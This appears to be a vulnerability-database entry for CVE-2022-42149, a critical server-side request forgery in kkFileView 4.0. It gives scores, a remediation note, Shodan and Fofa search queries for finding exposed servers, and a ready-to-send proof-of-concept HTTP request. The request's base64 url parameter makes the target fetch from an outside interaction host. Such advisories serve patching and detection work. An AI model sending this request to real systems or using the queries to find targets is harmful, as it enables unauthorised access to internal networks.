| Title | kkFileView 4.0 - Server-Side Request Forgery |
|---|---|
| Author | Arm!tage |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit SSRF to make the server fetch arbitrary URLs, potentially accessing internal services, bypassing firewall restrictions, and exfiltrating sensitive data from internal networks. |
| Remediation | Update kkFileView to a version newer than 4.0 that properly validates URL parameters and restricts requests to trusted sources. |
| CVSS Score | 9.8 |
| EPSS Score | 0.42841 |
| CVE ID | CVE-2022-42149 |
| CWE ID | CWE-918 |
| Shodan Query | http.html:"kkFileView"http.html:"kkfileview" |
| Fofa Query | app="kkFileView"app="kkfileview"body="kkfileview" |
| Tags | cve cve2022 ssrf kkfileview keking vuln |
kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.
GET /onlinePreview?url=aHR0cDovL29hc3QuZnVuL3JvYm90cy50eHQ= HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42149.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-42149.pcap
N/AN/A